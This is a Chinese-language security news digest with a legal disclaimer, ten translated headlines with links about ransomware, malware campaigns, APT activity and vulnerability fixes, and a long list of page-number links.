免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、美国防部针对公开资产的重大漏洞推出赏金计划 https://www.securityweek.com/dod-launches-hack-us-bounties-major-flaws-publicly-exposed-assets 2、美国:朝鲜黑客利用 Maui Ransomware 攻击医疗保健行业 https://www.securityweek.com/us-north-korean-hackers-targeting-healthcare-sector-maui-ransomware 3、大规模加密货币挖矿活动针对 NPM JavaScript 包存储库 https://securityaffairs.co/wordpress/132983/cyber-crime/cuteboi-cryptomining-campaign-npm.html 4、研究人员发现一种新的 Linux 恶意软件:OrBit,但未被检测到 https://securityaffairs.co/wordpress/132966/hacking/orbit-linux-malware.html 5、IT 服务巨头 SHI International 遭受破坏性恶意软件攻击 https://www.bleepingcomputer.com/news/security/it-services-giant-shi-hit-by-professional-malware-attack/ 6、由于绑定机制漏洞,黑客可通过"ExpressLRS"协议接管无人机 https://threatpost.com/drone-hack-expresslrs-hijacked/180133/ 7、Bitter APT黑客组织以孟加拉国军事实体为目标 https://www.secuinfra.com/en/techtalk/whatever-floats-your-boat-bitter-apt-continues-to-target-bangladesh/ 8、黑客滥用Brute Ratel红队工具进行攻击以逃避检测 https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/#Conclusion 9、QNAP 警告针对 NAS 设备的新 Checkmate 勒索软件 https://www.bleepingcomputer.com/news/security/qnap-warns-of-new-checkmate-ransomware-targeting-nas-devices/ 10、微软悄悄修复 ShadowCoerce Windows NTLM Relay 漏洞 https://www.bleepingcomputer.com/news/microsoft/microsoft-quietly-fixes-shadowcoerce-windows-ntlm-relay-bug/
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页